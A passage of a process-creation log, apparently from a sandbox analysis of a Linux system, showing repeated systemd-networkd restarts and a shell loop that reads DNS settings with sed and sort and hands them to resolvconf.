sed (PID: 9396, Parent: 9395, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9397, Parent: 9395)

sort (PID: 9397, Parent: 9395, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9402, Parent: 8751)

sleep (PID: 9402, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9423, Parent: 8751)

sh New Fork (PID: 9424, Parent: 9423)

sed (PID: 9424, Parent: 9423, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9425, Parent: 9423)

sort (PID: 9425, Parent: 9423, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9438, Parent: 8751)

sleep (PID: 9438, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9463, Parent: 8751)

sh New Fork (PID: 9464, Parent: 9463)

sed (PID: 9464, Parent: 9463, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9465, Parent: 9463)

sort (PID: 9465, Parent: 9463, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9479, Parent: 8751)

sleep (PID: 9479, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9491, Parent: 8751)

sh New Fork (PID: 9492, Parent: 9491)

sed (PID: 9492, Parent: 9491, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9493, Parent: 9491)

sort (PID: 9493, Parent: 9491, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9495, Parent: 8751)

sleep (PID: 9495, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9519, Parent: 8751)

sh New Fork (PID: 9520, Parent: 9519)

sed (PID: 9520, Parent: 9519, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9521, Parent: 9519)

sort (PID: 9521, Parent: 9519, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9523, Parent: 8751)

sleep (PID: 9523, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9559, Parent: 8751)

sh New Fork (PID: 9560, Parent: 9559)

sed (PID: 9560, Parent: 9559, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9561, Parent: 9559)

sort (PID: 9561, Parent: 9559, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9575, Parent: 8751)

sleep (PID: 9575, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9587, Parent: 8751)

sh New Fork (PID: 9588, Parent: 9587)

sed (PID: 9588, Parent: 9587, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9589, Parent: 9587)

sort (PID: 9589, Parent: 9587, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9590, Parent: 8751)

sleep (PID: 9590, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9615, Parent: 8751)

sh New Fork (PID: 9616, Parent: 9615)

sed (PID: 9616, Parent: 9615, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9617, Parent: 9615)

sort (PID: 9617, Parent: 9615, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9633, Parent: 8751)

sleep (PID: 9633, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9643, Parent: 8751)

sh New Fork (PID: 9644, Parent: 9643)

sed (PID: 9644, Parent: 9643, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9645, Parent: 9643)

sort (PID: 9645, Parent: 9643, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9659, Parent: 8751)

sleep (PID: 9659, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9671, Parent: 8751)

sed (PID: 9671, Parent: 8751, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 9672, Parent: 8751)

resolvconf (PID: 9672, Parent: 8751, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 9681, Parent: 9672)

mkdir (PID: 9681, Parent: 9672, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 9690, Parent: 9672)

resolvconf New Fork (PID: 9691, Parent: 9690)

sed (PID: 9691, Parent: 9690, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 9692, Parent: 9690)

sed (PID: 9692, Parent: 9690, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 9052, Parent: 1)

systemd-networkd (PID: 9052, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9119, Parent: 1)

systemd-networkd (PID: 9119, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9188, Parent: 1)

systemd-networkd (PID: 9188, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9452, Parent: 1)

systemd-networkd (PID: 9452, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9548, Parent: 1)

systemd-networkd (PID: 9548, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9721, Parent: 1)

systemd-networkd (PID: 9721, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 9732, Parent: 1)

sh (PID: 9732, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 9734, Parent: 9732)

seq (PID: 9734, Parent: 9732, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 9745, Parent: 9732)

sh New Fork (PID: 9746, Parent: 9745)

sed (PID: 9746, Parent: 9745, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9747, Parent: 9745)

sort (PID: 9747, Parent: 9745, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9766, Parent: 9732)

sleep (PID: 9766, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9780, Parent: 9732)

sh New Fork (PID: 9781, Parent: 9780)

sed (PID: 9781, Parent: 9780, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9782, Parent: 9780)

sort (PID: 9782, Parent: 9780, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9797, Parent: 9732)

sleep (PID: 9797, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9808, Parent: 9732)

sh New Fork (PID: 9809, Parent: 9808)

sed (PID: 9809, Parent: 9808, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9810, Parent: 9808)

sort (PID: 9810, Parent: 9808, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9823, Parent: 9732)

sleep (PID: 9823, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9836, Parent: 9732)

sh New Fork (PID: 9837, Parent: 9836)

sed (PID: 9837, Parent: 9836, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9838, Parent: 9836)

sort (PID: 9838, Parent: 9836, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9852, Parent: 9732)

sleep (PID: 9852, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9864, Parent: 9732)

sh New Fork (PID: 9865, Parent: 9864)

sed (PID: 9865, Parent: 9864, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9866, Parent: 9864)

sort (PID: 9866, Parent: 9864, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9880, Parent: 9732)

sleep (PID: 9880, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9892, Parent: 9732)

sh New Fork (PID: 9893, Parent: 9892)

sed (PID: 9893, Parent: 9892, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9894, Parent: 9892)

sort (PID: 9894, Parent: 9892, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9903, Parent: 9732)

sleep (PID: 9903, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9920, Parent: 9732)

sh New Fork (PID: 9921, Parent: 9920)

sed (PID: 9921, Parent: 9920, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9922, Parent: 9920)

sort (PID: 9922, Parent: 9920, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9923, Parent: 9732)

sleep (PID: 9923, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9948, Parent: 9732)

sh New Fork (PID: 9949, Parent: 9948)

sed (PID: 9949, Parent: 9948, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9950, Parent: 9948)

sort (PID: 9950, Parent: 9948, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9961, Parent: 9732)

sleep (PID: 9961, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9976, Parent: 9732)

sh New Fork (PID: 9977, Parent: 9976)

sed (PID: 9977, Parent: 9976, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9978, Parent: 9976)

sort (PID: 9978, Parent: 9976, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9989, Parent: 9732)

sleep (PID: 9989, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10004, Parent: 9732)

sh New Fork (PID: 10005, Parent: 10004)

sed (PID: 10005, Parent: 10004, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10006, Parent: 10004)

sort (PID: 10006, Parent: 10004, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10019, Parent: 9732)

sleep (PID: 10019, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10032, Parent: 9732)

sh New Fork (PID: 10033, Parent: 10032)

sed (PID: 10033, Parent: 10032, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10034, Parent: 10032)

sort (PID: 10034, Parent: 10032, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10045, Parent: 9732)

sleep (PID: 10045, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10072, Parent: 9732)

sh New Fork (PID: 10073, Parent: 10072)

sed (PID: 10073, Parent: 10072, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10074, Parent: 10072)

sort (PID: 10074, Parent: 10072, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10086, Parent: 9732)

sleep (PID: 10086, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10100, Parent: 9732)

sh New Fork (PID: 10101, Parent: 10100)

sed (PID: 10101, Parent: 10100, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10102, Parent: 10100)

sort (PID: 10102, Parent: 10100, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10113, Parent: 9732)

sleep (PID: 10113, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10140, Parent: 9732)

sh New Fork (PID: 10141, Parent: 10140)

sed (PID: 10141, Parent: 10140, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10142, Parent: 10140)

sort (PID: 10142, Parent: 10140, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10157, Parent: 9732)

sleep (PID: 10157, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10168, Parent: 9732)

sh New Fork (PID: 10169, Parent: 10168)

sed (PID: 10169, Parent: 10168, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10170, Parent: 10168)

sort (PID: 10170, Parent: 10168, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10184, Parent: 9732)

sleep (PID: 10184, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10208, Parent: 9732)

sh New Fork (PID: 10209, Parent: 10208)

sed (PID: 10209, Parent: 10208, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10210, Parent: 10208)

sort (PID: 10210, Parent: 10208, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10214, Parent: 9732)

sleep (PID: 10214, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10236, Parent: 9732)

sh New Fork (PID: 10237, Parent: 10236)

sed (PID: 10237, Parent: 10236, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10238, Parent: 10236)

sort (PID: 10238, Parent: 10236, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10242, Parent: 9732)

sleep (PID: 10242, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10264, Parent: 9732)

sh New Fork (PID: 10265, Parent: 10264)

sed (PID: 10265, Parent: 10264, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10266, Parent: 10264)

sort (PID: 10266, Parent: 10264, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10268, Parent: 9732)

sleep (PID: 10268, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10292, Parent: 9732)

sh New Fork (PID: 10293, Parent: 10292)

sed (PID: 10293, Parent: 10292, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10294, Parent: 10292)

sort (PID: 10294, Parent: 10292, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10303, Parent: 9732)

sleep (PID: 10303, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10320, Parent: 9732)

sh New Fork (PID: 10321, Parent: 10320)

sed (PID: 10321, Parent: 10320, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10322, Parent: 10320)

sort (PID: 10322, Parent: 10320, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10335, Parent: 9732)

sleep (PID: 10335, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10348, Parent: 9732)

sh New Fork (PID: 10349, Parent: 10348)

sed (PID: 10349, Parent: 10348, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10350, Parent: 10348)

sort (PID: 10350, Parent: 10348, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10357, Parent: 9732)

sleep (PID: 10357, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10376, Parent: 9732)

sh New Fork (PID: 10377, Parent: 10376)

sed (PID: 10377, Parent: 10376, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10378, Parent: 10376)

sort (PID: 10378, Parent: 10376, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10388, Parent: 9732)

sleep (PID: 10388, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10404, Parent: 9732)

sh New Fork (PID: 10405, Parent: 10404)

sed (PID: 10405, Parent: 10404, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10406, Parent: 10404)

sort (PID: 10406, Parent: 10404, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10407, Parent: 9732)

sleep (PID: 10407, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10432, Parent: 9732)

sh New Fork (PID: 10433, Parent: 10432)

sed (PID: 10433, Parent: 10432, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10434, Parent: 10432)

sort (PID: 10434, Parent: 10432, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10436, Parent: 9732)

sleep (PID: 10436, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10460, Parent: 9732)

sh New Fork (PID: 10461, Parent: 10460)

sed (PID: 10461, Parent: 10460, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10462, Parent: 10460)

sort (PID: 10462, Parent: 10460, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10474, Parent: 9732)

sleep (PID: 10474, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10500, Parent: 9732)

sh New Fork (PID: 10501, Parent: 10500)

sed (PID: 10501, Parent: 10500, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10502, Parent: 10500)

sort (PID: 10502, Parent: 10500, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10511, Parent: 9732)

sleep (PID: 10511, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10528, Parent: 9732)

sh New Fork (PID: 10529, Parent: 10528)

sed (PID: 10529, Parent: 10528, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10530, Parent: 10528)

sort (PID: 10530, Parent: 10528, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10543, Parent: 9732)

sleep (PID: 10543, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10568, Parent: 9732)

sh New Fork (PID: 10569, Parent: 10568)

sed (PID: 10569, Parent: 10568, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10570, Parent: 10568)

sort (PID: 10570, Parent: 10568, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10585, Parent: 9732)

sleep (PID: 10585, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10596, Parent: 9732)

sh New Fork (PID: 10597, Parent: 10596)

sed (PID: 10597, Parent: 10596, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10598, Parent: 10596)

sort (PID: 10598, Parent: 10596, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10611, Parent: 9732)

sleep (PID: 10611, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10624, Parent: 9732)

sh New Fork (PID: 10625, Parent: 10624)

sed (PID: 10625, Parent: 10624, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10626, Parent: 10624)

sort (PID: 10626, Parent: 10624, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10637, Parent: 9732)

sleep (PID: 10637, Parent: 9732, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10652, Parent: 9732)

sed (PID: 10652, Parent: 9732, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 10653, Parent: 9732)

resolvconf (PID: 10653, Parent: 9732, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 10660, Parent: 10653)

mkdir (PID: 10660, Parent: 10653, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 10669, Parent: 10653)

resolvconf New Fork (PID: 10670, Parent: 10669)

sed (PID: 10670, Parent: 10669, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 10671, Parent: 10669)

sed (PID: 10671, Parent: 10669, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 10061, Parent: 1)

systemd-networkd (PID: 10061, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 10129, Parent: 1)

systemd-networkd (PID: 10129, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 10197, Parent: 1)

systemd-networkd (PID: 10197, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 10489, Parent: 1)

systemd-networkd (PID: 10489, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 10557, Parent: 1)

systemd-networkd (PID: 10557, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

